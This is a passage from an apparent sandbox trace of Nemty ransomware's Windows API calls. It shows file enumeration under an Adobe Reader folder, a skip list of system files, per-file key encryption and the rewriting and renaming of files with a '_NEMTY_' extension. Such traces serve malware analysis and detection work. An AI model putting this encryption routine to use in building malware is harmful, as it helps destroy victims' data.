hHeap=0x4f90000) returned 1 [0191.506] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0191.506] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340338*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340338*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0191.506] CloseHandle (hObject=0x2f0) returned 1 [0191.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404a8 [0191.506] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0191.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0191.507] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0191.507] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0191.507] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0191.507] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0191.507] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63440b0 [0191.507] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0191.507] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0191.507] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.CAT._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.cat._nemty_kgobjgd_")) returned 1 [0191.507] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0191.507] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0191.507] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0191.507] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340338 | out: hHeap=0x4f90000) returned 1 [0191.507] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0191.507] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0191.507] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.507] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0191.507] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.507] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.508] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6d7160, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="WindowsMedia.CHS", cAlternateFileName="WINDOW~1.CHS")) returned 1 [0191.508] lstrcmpiW (lpString1="WindowsMedia.CHS", lpString2=".") returned 1 [0191.508] lstrcmpiW (lpString1="WindowsMedia.CHS", lpString2="..") returned 1 [0191.508] lstrcmpiW (lpString1="WindowsMedia.CHS", lpString2="...") returned 1 [0191.508] lstrcmpiW (lpString1="WindowsMedia.CHS", lpString2="windows") returned 1 [0191.508] lstrcmpiW (lpString1="WindowsMedia.CHS", lpString2="$RECYCLE.BIN") returned 1 [0191.508] lstrcmpiW (lpString1="WindowsMedia.CHS", lpString2="rsa") returned 1 [0191.508] lstrcmpiW (lpString1="WindowsMedia.CHS", lpString2="NTDETECT.COM") returned 1 [0191.508] lstrcmpiW (lpString1="WindowsMedia.CHS", lpString2="ntldr") returned 1 [0191.508] lstrcmpiW (lpString1="WindowsMedia.CHS", lpString2="MSDOS.SYS") returned 1 [0191.508] lstrcmpiW (lpString1="WindowsMedia.CHS", lpString2="IO.SYS") returned 1 [0191.508] lstrcmpiW (lpString1="WindowsMedia.CHS", lpString2="boot.ini") returned 1 [0191.508] lstrcmpiW (lpString1="WindowsMedia.CHS", lpString2="boot.ini") returned 1 [0191.508] lstrcmpiW (lpString1="WindowsMedia.CHS", lpString2="AUTOEXEC.BAT") returned 1 [0191.508] lstrcmpiW (lpString1="WindowsMedia.CHS", lpString2="ntuser.dat") returned 1 [0191.508] lstrcmpiW (lpString1="WindowsMedia.CHS", lpString2="desktop.ini") returned 1 [0191.508] lstrcmpiW (lpString1="WindowsMedia.CHS", lpString2="CONFIG.SYS") returned 1 [0191.508] lstrcmpiW (lpString1="WindowsMedia.CHS", lpString2="RECYCLER") returned 1 [0191.508] lstrcmpiW (lpString1="WindowsMedia.CHS", lpString2="BOOTSECT.BAK") returned 1 [0191.508] lstrcmpiW (lpString1="WindowsMedia.CHS", lpString2="bootmgr") returned 1 [0191.508] lstrcmpiW (lpString1="WindowsMedia.CHS", lpString2="programdata") returned 1 [0191.508] lstrcmpiW (lpString1="WindowsMedia.CHS", lpString2="appdata") returned 1 [0191.508] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0191.508] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.CHS", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.508] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.508] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.CHS", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.CHS", lpUsedDefaultChar=0x0) returned 16 [0191.508] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.508] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0191.508] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.CHS", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.508] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.508] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.CHS", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.CHS", lpUsedDefaultChar=0x0) returned 16 [0191.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0191.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0191.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0191.509] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.CHS", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.509] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.CHS", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.CHS", lpUsedDefaultChar=0x0) returned 16 [0191.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0191.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0191.509] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.CHS", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.509] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.CHS", cchWideChar=16, lpMultiByteStr=0x4f9ed08, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.CHS", lpUsedDefaultChar=0x0) returned 16 [0191.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0191.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340270 [0191.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0191.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63400f0 [0191.509] Sleep (dwMilliseconds=0x5) [0191.519] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25cd1590, dwHighDateTime=0x1d561e8)) [0191.519] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25cd1590, dwHighDateTime=0x1d561e8)) [0191.519] GetLastError () returned 0x0 [0191.519] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0191.519] GetLastError () returned 0x0 [0191.519] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.519] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0191.519] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0191.519] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0191.519] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0191.520] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0191.520] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0191.520] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e29c | out: pszString="KTDZTyX+s6UEeCgJlNPmMe+Y/UYnGqNoPywq20LWThC19N+BPT9tHLGFeO9yVuqt\r\n8zMscuXx5k7XWTjdZozIS47JKIwgLu3LMjFFETZz3q2zqaGUhkfIJ4UzG/Qm0shH\r\nQvqVrGK7vuD6FgMs97WxluBb4jgtPisqbK9hIFkgIMbyVgpLXfocVqi52Da3FmXj\r\nMUCyfsCS/pIBeylzE4p/Yns1kMEP4x0y4t6EFvyzJluZ1pPhX8QQe7/rqAoPeDv7\r\nJriXKNKQkko4O1qkhrkY86cWvHZp2nqYX/JlgJszAq1yOnVr1Oa3KiCF5qNRv45s\r\nWbWl0oMNSfR+d3CWmrD4bg==\r\n", pcchString=0x653e29c) returned 1 [0191.520] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0191.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0191.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0191.520] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0191.520] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0191.520] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0191.520] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.chs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0191.520] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0191.520] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0191.520] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.520] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, lpOverlapped=0x0) returned 1 [0191.522] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.522] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0191.522] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0191.522] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0191.522] WriteFile (in: hFile=0x2f0, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0191.522] CloseHandle (hObject=0x2f0) returned 1 [0191.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340338 [0191.522] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0191.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0191.522] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0191.523] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0191.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0191.523] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340400 [0191.523] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6343fe8 [0191.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340400 | out: hHeap=0x4f90000) returned 1 [0191.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0191.523] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.chs"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.CHS._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.chs._nemty_kgobjgd_")) returned 1 [0191.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0191.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340338 | out: hHeap=0x4f90000) returned 1 [0191.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0191.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0191.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0191.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0191.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0191.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.523] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6fd2c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="WindowsMedia.CHT", cAlternateFileName="WINDOW~1.CHT")) returned 1 [0191.524] lstrcmpiW (lpString1="WindowsMedia.CHT", lpString2=".") returned 1 [0191.524] lstrcmpiW (lpString1="WindowsMedia.CHT", lpString2="..") returned 1 [0191.524] lstrcmpiW (lpString1="WindowsMedia.CHT", lpString2="...") returned 1 [0191.524] lstrcmpiW (lpString1="WindowsMedia.CHT", lpString2="windows") returned 1 [0191.524] lstrcmpiW (lpString1="WindowsMedia.CHT", lpString2="$RECYCLE.BIN") returned 1 [0191.524] lstrcmpiW (lpString1="WindowsMedia.CHT", lpString2="rsa") returned 1 [0191.524] lstrcmpiW (lpString1="WindowsMedia.CHT", lpString2="NTDETECT.COM") returned 1 [0191.524] lstrcmpiW (lpString1="WindowsMedia.CHT", lpString2="ntldr") returned 1 [0191.524] lstrcmpiW (lpString1="WindowsMedia.CHT", lpString2="MSDOS.SYS") returned 1 [0191.524] lstrcmpiW (lpString1="WindowsMedia.CHT", lpString2="IO.SYS") returned 1 [0191.524] lstrcmpiW (lpString1="WindowsMedia.CHT", lpString2="boot.ini") returned 1 [0191.524] lstrcmpiW (lpString1="WindowsMedia.CHT", lpString2="boot.ini") returned 1 [0191.524] lstrcmpiW (lpString1="WindowsMedia.CHT", lpString2="AUTOEXEC.BAT") returned 1 [0191.524] lstrcmpiW (lpString1="WindowsMedia.CHT", lpString2="ntuser.dat") returned 1 [0191.524] lstrcmpiW (lpString1="WindowsMedia.CHT", lpString2="desktop.ini") returned 1 [0191.524] lstrcmpiW (lpString1="WindowsMedia.CHT", lpString2="CONFIG.SYS") returned 1 [0191.524] lstrcmpiW (lpString1="WindowsMedia.CHT", lpString2="RECYCLER") returned 1 [0191.524] lstrcmpiW (lpString1="WindowsMedia.CHT", lpString2="BOOTSECT.BAK") returned 1 [0191.524] lstrcmpiW (lpString1="WindowsMedia.CHT", lpString2="bootmgr") returned 1 [0191.524] lstrcmpiW (lpString1="WindowsMedia.CHT", lpString2="programdata") returned 1 [0191.524] lstrcmpiW (lpString1="WindowsMedia.CHT", lpString2="appdata") returned 1 [0191.524] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0191.524] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.CHT", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.524] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.524] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.CHT", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.CHT", lpUsedDefaultChar=0x0) returned 16 [0191.524] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.524] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0191.524] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.CHT", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.524] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.524] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.CHT", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.CHT", lpUsedDefaultChar=0x0) returned 16 [0191.524] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.524] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0191.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0191.525] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0191.525] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.CHT", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.525] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.525] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.CHT", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.CHT", lpUsedDefaultChar=0x0) returned 16 [0191.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0191.525] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0191.525] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.CHT", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.525] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.525] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.CHT", cchWideChar=16, lpMultiByteStr=0x4f9ed08, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.CHT", lpUsedDefaultChar=0x0) returned 16 [0191.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0191.525] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63400f0 [0191.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0191.525] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63401b8 [0191.525] Sleep (dwMilliseconds=0x5) [0191.535] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25cf76f0, dwHighDateTime=0x1d561e8)) [0191.535] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25cf76f0, dwHighDateTime=0x1d561e8)) [0191.535] GetLastError () returned 0x0 [0191.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0191.535] GetLastError () returned 0x0 [0191.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0191.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0191.535] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0191.535] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0191.535] CryptBinaryToStringA 